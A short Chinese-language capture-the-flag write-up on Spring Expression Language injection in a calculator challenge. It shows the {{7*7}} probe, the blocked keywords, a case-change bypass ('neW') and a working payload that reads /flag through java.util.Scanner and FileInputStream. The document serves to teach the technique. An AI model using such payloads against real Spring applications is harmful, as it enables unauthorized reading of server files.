首页 未分类

1.SpEL 表达式注入

Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与 Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。

2.解题

题目打开是一个计算器,从打开的tab来看是一个使用spring boot框架的web项目。

通过抓包发现该
GET /spel/calc?calc=%7b%7b7*7%7d%7d
路由下存在SPEL注入,结果如下:

可以发现计算的结果是[[49]],因此存在注入。通过测试发现,过滤了
Runtime,java.lang,getClass,T(,new等,
对于new我们可以用neW来代替,但是由于过滤了前面的字符我们不能够进行rce了但是我们可以用其他的方式读取文件。
使用的类参考链接如下:https://blog.csdn.net/yiyiwudian/article/details/46522415
根据参考资料我们可以用java.util.Scanner来读取文件。payload如下:

neW Scanner(neW java.io.FileInputStream(neW java.io.File("/flag"))).nextLine()

{{neW java.util.Scanner(neW java.io.FileInputStream(neW java.io.File("/flag"))).nextLine()}}

一定要将payload进行URL编码,才能正确解析

3.参考资料

Java代码审计之SpEL表达式注入
表达式SpEL方式的属性注入




文章评论